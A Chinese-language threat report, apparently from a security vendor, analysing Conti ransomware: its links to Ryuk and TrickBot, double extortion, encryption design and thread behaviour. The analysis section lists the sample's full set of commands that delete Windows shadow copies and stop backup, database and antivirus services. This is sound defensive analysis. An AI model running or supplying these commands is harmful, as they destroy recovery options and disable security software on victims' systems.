| 家族简介
Conti勒索软件最早出现在2019年11月, 它的目标用户是说英语的用户,但这并不阻止它传播到世界各地。释放的勒索信格式为:CONTI_README.txt,加密过程会使用多达32个并行CPU线程同时加密受感染计算机上的文件,以达到极快的加密速度。Conti只是2020年发现的一系列勒索软件中最新的一种,就像当今大多数勒索软件系列一样,Conti被设计为直接手工执行,而不是自己自动执行。这些类型的勒索软件系列也称为“人为勒索软件”,它们的设计目的是在大型公司或政府网络内部有针对性的入侵期间进行部署。
对于大型勒索软件组织来说,现在已经形成了创建所谓“泄漏站点” 的主流策略,攻击者在站点里上传并泄漏拒绝支付勒索软件解密费用的公司的敏感文档。这些“泄漏站点”是网络犯罪地下组织形成的新趋势的一部分,勒索软件组织正在采用这种新策略,称为“ 双重勒索”,而Conti勒索软件团伙则是其中一员。除了与Ryuk存在相应联系外,Conti也同样推出了数据泄露站点,执行双重勒索勒索软件策略谋利。勒索软件运营利用“双重勒索”策略来施加压力,70%的受影响组织已支付了其数据的赎金。
据互联网公开的信息得知,前几个月犹他大学的管理层公开承认即使使用以前的备份恢复了加密文件,但最后还是为了防止攻击者泄露学生数据,迫于无奈不得不向勒索软件团伙支付了多达457,000美元,这是一个使用“泄漏站点”和“双重勒索”对受害者施加压力的一个很好的例子。如今,随着越来越多的勒索软件组织转向运行泄漏站点,给受害者施加更多压力,此类事件变得越来越普遍。
Conti流行勒索软件团伙目前已经启动了一个泄漏站点,该站点被部署在公网与暗网中。据统计,该网站已经列出了至少26家遭受该组织攻击并且拒绝支付赎金的公司,而且Conti团伙已经泄漏了从该网站上列出的每家公司的敏感文件。
通过上述公开的信息可以判定Conti(Ryuk)目前已成为大型勒索软件团伙,Conti是一个相对较新的私有勒索软件即服务(RaaS)的勒索软件家族,它已经招募了经验丰富的黑客来分发勒索软件,以换取很大一部分勒索款项。自2020年夏天以来,Conti勒索软件一直处于活跃状态,过了很久时间后才发布了自己的数据泄漏站点。在探究Conti勒索软件的来源时,经相关安全人员分析发现很大概率来源于Ryuk勒索软件家族。由于Conti勒索软件使用的勒索信模板与Ryuk勒索软件在早期攻击活动中使用的勒索信模板相同,以前当TrickBot木马感染网络时,最终将导致Ryuk勒索软件被部署来作为最终攻击,而Conti勒索软件攻击活动中似乎正在使用与Ryuk勒索软件相同的TrickBot(僵尸网络)基础设施。在上报受影响的数据方面,Ryuk勒索软件的上报数量呈下降趋势之际,Conti勒索软件的提交量则有所增加,不难怀疑这两者之间的关系。
Ryuk是一种犯罪形式的勒索软件,是总部位于俄罗斯的犯罪集团WIZARD SPIDER发行运营的一种勒索软件。Ryuk于2018年8月首次出现,类似于早期的Hermes勒索软件,主要针对大型企业。它的运行方式与其他勒索软件攻击非常相似,会加密受害者计算机和该网络上其他主机上的文件,并承诺如果支付了赎金,就可以解密和恢复数据。它通常通过用户单击垃圾邮件中的链接进行传播,并使用TrickBot对目标系统进行攻击。一个国外匿名研究小组在相关报告中写明对Ryuk所属的账户抽样了63笔交易,价值约570万美元,发现价值1,064,865美元的BTC(比特币)被发送到各个地址,然后最终存入Binance(币安)账户钱包,最后进行交易和兑现。”
所以在相关联的Ryuk勒索软件已经如此获利的情况下,未来Conti勒索软件则很可能也将活跃起来并获取巨大收益,值得警惕。
目前Conti勒索软件活动针对以下行业:
* 金融与教育机构
* 私人组织
* 政府机构
* 卫生保健
* 企业业务
* 中小型企业
| 样本分析
Conti勒索软件会采用定点攻击的手法入侵成功后手工执行勒索软件,深信服安全团队捕获了相关样本后对其进行了分析,由于黑客采用的加密方案暂无缺陷,所以一旦感染该勒索软件,除非拥有黑客自有的私钥,不然无法解密。下面分析的是2020年6月份出现的Conti勒索软件,编译时间为2020年6月4日,没有加壳。
采用动态加载调用API的方式
后续经过解密得到相应的API函数名称,如下是所有已经解析得到的API函数列表。
0041B008 >768EE9A3 kernel32.FindResourceA
0041B00C >769543DF kernel32.GetLogicalDriveStringsW
0041B010 >768D192E kernel32.MultiByteToWideChar
0041B014 >768D79F8 kernel32.ExitProcess
0041B018 >76EB22C0 ntdll_12.RtlEnterCriticalSection
0041B01C >768E9AD8 kernel32.MoveFileW
0041B020 >768EC7EF kernel32.SetFilePointerEx
0041B024 >760CE061 user32.wsprintfW
0041B028 >768D3F3C kernel32.CreateFileW
0041B02C >768D4208 kernel32.WaitForMultipleObjects
0041B030 >768D1072 kernel32.CreateProcessA
0041B034 >768ED3AB kernel32.GetQueuedCompletionStatus
0041B038 >76713ABF ws2_32.InetNtopW
0041B03C >6D23435B RstrtMgr.RmGetList
0041B040 >768ED7EA kernel32.TerminateProcess
0041B044 >6D23474B RstrtMgr.RmStartSession
0041B048 >768D5540 kernel32.GlobalFree
0041B04C >768ECE16 kernel32.SetEndOfFile
0041B050 >75057733 advapi32.CryptEncrypt
0041B054 >745DE52A IPHLPAPI.GetIpNetTable
0041B058 >768F8B97 kernel32.Process32FirstW
0041B05C >768D1410 kernel32.CloseHandle
0041B060 >75039179 advapi32.CryptAcquireContextA
0041B064 >76EE801C ntdll_12.RtlExitUserThread
0041B068 >768D5876 kernel32.GlobalAlloc
0041B06C >768D1282 kernel32.WriteFile
0041B070 >768D54D6 kernel32.FindNextFileW
0041B074 >768ED4DF kernel32.SetFileAttributesW
0041B078 >768D1136 kernel32.WaitForSingleObject
0041B07C >768D1B18 kernel32.GetFileAttributesW
0041B080 >768D14E9 kernel32.GetProcessHeap
0041B084 >73BB13D2 netutils.NetApiBufferFree
0041B088 >768D1245 kernel32.GetModuleHandleA
0041B08C >768F30EA kernel32.lstrcpyW
0041B090 >75039186 advapi32.CryptExportKey
0041B094 >76EB2280 ntdll_12.RtlLeaveCriticalSection
0041B098 >768D14C9 kernel32.HeapFree
0041B09C >76EC2C8A ntdll_12.RtlInitializeCriticalSection
0041B0A0 >768EEEDA kernel32.CreateIoCompletionPort
0041B0A4 >6D234979 RstrtMgr.RmEndSession
0041B0A8 >768D4173 kernel32.GetDriveTypeW
0041B0AC >73A73F33 srvcli.NetShareEnum
0041B0B0 >768F8954 kernel32.Process32NextW
0041B0B4 >6D2343BA RstrtMgr.RmShutdown
0041B0B8 >768D441D kernel32.FindFirstFileW
0041B0BC >74FD46E9 shlwapi.StrStrIW
0041B0C0 >7503C4D2 advapi32.CryptImportKey
0041B0C4 >768D1700 kernel32.lstrlenW
0041B0C8 >6D2342F6 RstrtMgr.RmRegisterResources
0041B0CC >768F7347 kernel32.CreateToolhelp32Snapshot
0041B0D0 >768D442A kernel32.FindClose
0041B0D4 >768D186E kernel32.VirtualFree
0041B0D8 >768ED5B5 kernel32.lstrcmpiW
0041B0DC >768D5941 kernel32.LockResource
0041B0E0 >768D1856 kernel32.VirtualAlloc
0041B0E4 >768D34B5 kernel32.CreateThread
0041B0E8 >76EBE046 ntdll_12.RtlAllocateHeap
0041B0EC >7503C4BA advapi32.CryptDestroyKey
0041B0F0 >76EC4625 ntdll_12.RtlDeleteCriticalSection
0041B0F4 >768D59CA kernel32.GetFileSizeEx
0041B0F8 >768D11C0 kernel32.GetLastError
0041B0FC >75038E89 advapi32.CryptGenKey
0041B100 >768D17D1 kernel32.SetFilePointer
0041B104 >768FD546 kernel32.lstrcpynW
0041B108 >768D3EB3 kernel32.ReadFile
0041B10C >768D5934 kernel32.LoadResource
0041B110 >768EEF11 kernel32.PostQueuedCompletionStatus
0041B114 >768D1986 kernel32.OpenProcess
0041B118 >768F8276 kernel32.lstrcatW
0041B11C >768D5AB1 kernel32.SizeofResource
解密得到互斥量"_CONTI_"
获取命令行参数
各个参数作用如下
参数 |
作用 |
-h |
指向包含网络主机名列表的文本文件,进行扫描加密。 |
-crypto_mode |
默认扫描本地磁盘与网络共享 |
-crypto_mode local |
扫描本地磁盘 |
-crypto_mode network |
只扫描网络共享 |
获取资源内容
解密字符串后执行如下命令行,删除卷影服务,停止各种数据库服务。
"cmd.exe /c vssadmin Delete Shadows /all /quiet"
"cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB"
"cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded"
"cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB"
"cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded"
"cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB"
"cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded"
"cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB"
"cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded"
"cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB"
"cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded"
"cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB"
"cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded"
"cmd.exe /c vssadmin Delete Shadows /all /quiet"
"cmd.exe /c net stop "Acronis VSS Provider" /y"
"cmd.exe /c net stop "Enterprise Client Service" /y"
"cmd.exe /c net stop "SQLsafe Backup Service" /y"
"cmd.exe /c net stop "SQLsafe Filter Service" /y"
"cmd.exe /c net stop "Veeam Backup Catalog Data Service" /y"
"cmd.exe /c net stop AcronisAgent /y"
"cmd.exe /c net stop AcrSch2Svc /y"
"cmd.exe /c net stop Antivirus /y"
"cmd.exe /c net stop ARSM /y"
"cmd.exe /c net stop BackupExecAgentAccelerator /y"
"cmd.exe /c net stop BackupExecAgentBrowser /y"
"cmd.exe /c net stop BackupExecDeviceMediaService /y"
"cmd.exe /c net stop BackupExecJobEngine /y"
"cmd.exe /c net stop BackupExecManagementService /y"
"cmd.exe /c net stop BackupExecRPCService /y"
"cmd.exe /c net stop BackupExecVSSProvider /y"
"cmd.exe /c net stop bedbg /y"
"cmd.exe /c net stop DCAgent /y"
"cmd.exe /c net stop EPSecurityService /y"
"cmd.exe /c net stop EPUpdateService /y"
"cmd.exe /c net stop EraserSvc11710 /y"
"cmd.exe /c net stop EsgShKernel /y"
"cmd.exe /c net stop FA_Scheduler /y"
"cmd.exe /c net stop IISAdmin /y"
"cmd.exe /c net stop IMAP4Svc /y"
"cmd.exe /c net stop McShield /y"
"cmd.exe /c net stop McTaskManager /y"
"cmd.exe /c net stop mfemms /y"
"cmd.exe /c net stop mfevtp /y"
"cmd.exe /c net stop MMS /y"
"cmd.exe /c net stop mozyprobackup /y"
"cmd.exe /c net stop MsDtsServer /y"
"cmd.exe /c net stop MsDtsServer100 /y"
"cmd.exe /c net stop MsDtsServer110 /y"
"cmd.exe /c net stop MSExchangeES /y"
"cmd.exe /c net stop MSExchangeIS /y"
"cmd.exe /c net stop MSExchangeMGMT /y"
"cmd.exe /c net stop MSExchangeMTA /y"
"cmd.exe /c net stop MSExchangeSA /y"
"cmd.exe /c net stop MSExchangeSRS /y"
"cmd.exe /c net stop MSOLAP$SQL_2008 /y"
"cmd.exe /c net stop MSOLAP$SYSTEM_BGC /y"
"cmd.exe /c net stop MSOLAP$TPS /y"
"cmd.exe /c net stop MSOLAP$TPSAMA /y"
"cmd.exe /c net stop MSSQL$BKUPEXEC /y"
"cmd.exe /c net stop MSSQL$ECWDB2 /y"
"cmd.exe /c net stop MSSQL$PRACTICEMGT /y"
"cmd.exe /c net stop MSSQL$PRACTTICEBGC /y"
"cmd.exe /c net stop MSSQL$PROFXENGAGEMENT /y"
"cmd.exe /c net stop MSSQL$SBSMONITORING /y"
"cmd.exe /c net stop MSSQL$SHAREPOINT /y"
"cmd.exe /c net stop MSSQL$SQL_2008 /y"
"cmd.exe /c net stop MSSQL$SYSTEM_BGC /y"
"cmd.exe /c net stop MSSQL$TPS /y"
"cmd.exe /c net stop MSSQL$TPSAMA /y"
"cmd.exe /c net stop MSSQL$VEEAMSQL2008R2 /y"
"cmd.exe /c net stop MSSQL$VEEAMSQL2012 /y"
"cmd.exe /c net stop MSSQLFDLauncher /y"
"cmd.exe /c net stop MSSQLFDLauncher$PROFXENGAGEMENT /y"
"cmd.exe /c net stop MSSQLFDLauncher$SBSMONITORING /y"
"cmd.exe /c net stop MSSQLFDLauncher$SHAREPOINT /y"
"cmd.exe /c net stop MSSQLFDLauncher$SQL_2008 /y"
"cmd.exe /c net stop MSSQLFDLauncher$SYSTEM_BGC /y"
"cmd.exe /c net stop MSSQLFDLauncher$TPS /y"
"cmd.exe /c net stop MSSQLFDLauncher$TPSAMA /y"
"cmd.exe /c net stop MSSQLSERVER /y"
"cmd.exe /c net stop MSSQLServerADHelper100 /y"
"cmd.exe /c net stop MSSQLServerOLAPService /y"
"cmd.exe /c net stop MySQL57 /y"
"cmd.exe /c net stop ntrtscan /y"
"cmd.exe /c net stop OracleClientCache80 /y"
"cmd.exe /c net stop PDVFSService /y"
"cmd.exe /c net stop POP3Svc /y"
"cmd.exe /c net stop ReportServer /y"
"cmd.exe /c net stop ReportServer$SQL_2008 /y"
"cmd.exe /c net stop ReportServer$SYSTEM_BGC /y"
"cmd.exe /c net stop ReportServer$TPS /y"
"cmd.exe /c net stop ReportServer$TPSAMA /y"
"cmd.exe /c net stop RESvc /y"
"cmd.exe /c net stop sacsvr /y"
"cmd.exe /c net stop SamSs /y"
"cmd.exe /c net stop SAVAdminService /y"
"cmd.exe /c net stop SAVService /y"
"cmd.exe /c net stop SDRSVC /y"
"cmd.exe /c net stop SepMasterService /y"
"cmd.exe /c net stop ShMonitor /y"
"cmd.exe /c net stop Smcinst /y"
"cmd.exe /c net stop SmcService /y"
"cmd.exe /c net stop SMTPSvc /y"
"cmd.exe /c net stop SQLAgent$BKUPEXEC /y"
"cmd.exe /c net stop SQLAgent$ECWDB2 /y"
"cmd.exe /c net stop SQLAgent$PRACTTICEBGC /y"
"cmd.exe /c net stop SQLAgent$PRACTTICEMGT /y"
"cmd.exe /c net stop SQLAgent$PROFXENGAGEMENT /y"
"cmd.exe /c net stop SQLAgent$SBSMONITORING /y"
"cmd.exe /c net stop SQLAgent$SHAREPOINT /y"
"cmd.exe /c net stop SQLAgent$SQL_2008 /y"
"cmd.exe /c net stop SQLAgent$SYSTEM_BGC /y"
"cmd.exe /c net stop SQLAgent$TPS /y"
"cmd.exe /c net stop SQLAgent$TPSAMA /y"
"cmd.exe /c net stop SQLAgent$VEEAMSQL2008R2 /y"
"cmd.exe /c net stop SQLAgent$VEEAMSQL2012 /y"
"cmd.exe /c net stop SQLBrowser /y"
"cmd.exe /c net stop SQLSafeOLRService /y"
"cmd.exe /c net stop SQLSERVERAGENT /y"
"cmd.exe /c net stop SQLTELEMETRY /y"
"cmd.exe /c net stop SQLTELEMETRY$ECWDB2 /y"
"cmd.exe /c net stop SQLWriter /y"
"cmd.exe /c net stop VeeamBackupSvc /y"
"cmd.exe /c net stop VeeamBrokerSvc /y"
"cmd.exe /c net stop VeeamCatalogSvc /y"
"cmd.exe /c net stop VeeamCloudSvc /y"
"cmd.exe /c net stop VeeamDeploymentService /y"
"cmd.exe /c net stop VeeamDeploySvc /y"
"cmd.exe /c net stop VeeamEnterpriseManagerSvc /y"
"cmd.exe /c net stop VeeamMountSvc /y"
"cmd.exe /c net stop VeeamNFSSvc /y"
"cmd.exe /c net stop VeeamRESTSvc /y"
"cmd.exe /c net stop VeeamTransportSvc /y"
"cmd.exe /c net stop W3Svc /y"
"cmd.exe /c net stop wbengine /y"
"cmd.exe /c net stop WRSVC /y"
"cmd.exe /c net stop MSSQL$VEEAMSQL2008R2 /y"
"cmd.exe /c net stop SQLAgent$VEEAMSQL2008R2 /y"
"cmd.exe /c net stop VeeamHvIntegrationSvc /y"
"cmd.exe /c net stop swi_update /y"
"cmd.exe /c net stop SQLAgent$CXDB /y"
"cmd.exe /c net stop SQLAgent$CITRIX_METAFRAME /y"
"cmd.exe /c net stop "SQL Backups" /y"
"cmd.exe /c net stop MSSQL$PROD /y"
"cmd.exe /c net stop "Zoolz 2 Service" /y"
"cmd.exe /c net stop MSSQLServerADHelper /y"
"cmd.exe /c net stop SQLAgent$PROD /y"
"cmd.exe /c net stop msftesql$PROD /y"
"cmd.exe /c net stop NetMsmqActivator /y"
"cmd.exe /c net stop EhttpSrv /y"
"cmd.exe /c net stop ekrn /y"
"cmd.exe /c net stop ESHASRV /y"
"cmd.exe /c net stop MSSQL$SOPHOS /y"
"cmd.exe /c net stop SQLAgent$SOPHOS /y"
"cmd.exe /c net stop AVP /y"
"cmd.exe /c net stop klnagent /y"
"cmd.exe /c net stop MSSQL$SQLEXPRESS /y"
"cmd.exe /c net stop SQLAgent$SQLEXPRESS /y"
"cmd.exe /c net stop wbengine /y"
"cmd.exe /c net stop mfefire /y"
之后结束以sql开头的相关进程,接着陆续创建32个线程,第一个线程为sub_417DF0。
使用CSP容器RSA与AES,如下。
黑客内置的RSA公钥,如下。
文件加密密钥生成过程,采用了使用CryptGenKey产生,但后续通过CryptExportKey导出的密钥结果已经被上述的RSA公钥加密。
采用的是AES-256加密算法
导出密钥并加密,会话密钥。
设置文件指针
通过交换密钥加密的keyblob写入文件里,大小524个字节。
每次最大只能读取5MB大小数据
设置文件指针位置
写入原始文件大小至文件末尾。
移动文件修改后缀
销毁密钥句柄
第一个线程采用完成端口方式,提升文件加密速度。
加密过程排除的文件夹:
"tmp"、"winnt"、"Application Data"、"AppData"、"temp"、"thumb"、"$Recycle.Bin"、"$RECYCLE.BIN"、"System Volume Information"、"Program Files"、"Program Files (x86)"、"Boot"、"Windows"
加密过程排除的后缀:
.CONTI、CONTI_README.txt、.exe、.dll、.lnk、.sys
文件加密格式布局:
之后又开启一个线程,第二个线程为sub_417160。
第二个线程417160只有1个,作用是在每个目录下都创建勒索信CONTI_README.txt文件。
第三个线程405B00,一共开启32个线程,检索有关服务器上每个共享资源的信息,扫描网络共享。
查看是否存在网络共享
| 关于解密
经过上述的分析可以发现,黑客通过硬编码的RSA公钥加密了AES-256密钥,写入了文件末尾。由于RSA加密算法的特性,依据解密的成本性考虑暂无法解密。
| 威胁情报
HASH
b7b5e1253710d8927cbe07d52d2d2e10
| 深信服安全产品解决方案
1.深信服下一代防火墙AF、终端检测响应平台EDR、安全感知平台SIP等安全产品,已集成了SAVE人工智能引擎,均能有效检测防御此恶意软件,已经部署相关产品的用户可以进行安全扫描,检测清除此恶意软件,如图所示:
2. 深信服为广大用户免费提供查杀工具,可下载如下工具,进行检测查杀:
64位系统下载链接
http://edr.sangfor.com.cn/tool/SfabAntiBot_X64.7z
32位系统下载链接
http://edr.sangfor.com.cn/tool/SfabAntiBot_X86.7z
3. 深信服安全感知平台、下一代防火墙、EDR用户,建议及时升级最新版本,并接入安全云脑,使用云查服务以及时检测防御新威胁;
4. 深信服安全产品继承深信服SAVE安全智能检测引擎,拥有对未知病毒的强大泛化检测能力,能够提前精准防御未知病毒;
5. 深信服推出安全运营服务,通过以“人机共智”的服务模式提供安全设备策略检查、安全威胁检查、相关漏洞检查等服务,确保第一时间检测风险以及更新策略,防范此类威胁。
本文始发于微信公众号(深信服千里目安全实验室):【高级持续性威胁追踪】Ryuk勒索软件继任者Conti勒索软件横空出世
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论